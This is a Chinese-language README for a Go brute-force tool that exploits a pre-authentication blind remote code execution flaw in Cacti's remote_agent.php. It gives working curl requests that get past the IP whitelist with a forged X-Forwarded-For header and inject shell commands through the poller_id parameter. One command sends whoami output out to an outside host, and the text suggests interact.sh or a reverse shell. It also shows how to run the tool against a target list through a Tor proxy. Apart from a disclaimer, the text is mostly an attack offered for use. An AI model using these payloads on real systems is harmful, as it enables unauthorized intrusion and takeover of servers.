Cacti 盲远程代码执行(预认证)
本内容仅供教育目的使用。我不对你的行为负责。请自行斟酌使用。
该脚本暴力破解利用此漏洞所需的变量。此漏洞利用需要以下 3 个变量:
host_id 参数local_data_ids 参数文件 remote_agent.php 受 IP 白名单保护。你可以通过在 X-Forwarded-IP 头中伪造你的 IP 地址来绕过此保护。大多数实例会将 127.0.0.1 或服务器自身的 IP 地址加入白名单。
接下来,你需要暴力破解 host_id 和 local_data_ids 请求参数。通过从默认最小值 1 到最大值 10 枚举整数对 x,y 来完成。
示例请求
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
获得这 3 个变量后,你可以在 poller_id 键中注入 shell 命令,并在命令前添加 ; 进行转义。
这是一个盲 RCE,因此你需要将命令输出发送到像 interact.sh 这样的地方,或打开一个反向 shell。记得对 poller_id 值进行 URL 编码!
以下命令执行 ping $(whoami).test.com
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
脚本以 CSV 格式输出。表头为 "target", "ip", "host_id", "data_id", "url"。
如果 url 值缺失,则表示脚本能够绕过 IP 限制,但未能成功暴力破解 ID。你可以使用此输出并设置更高的最大值再次尝试。
你可以使用以下命令快速解析输出文件
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv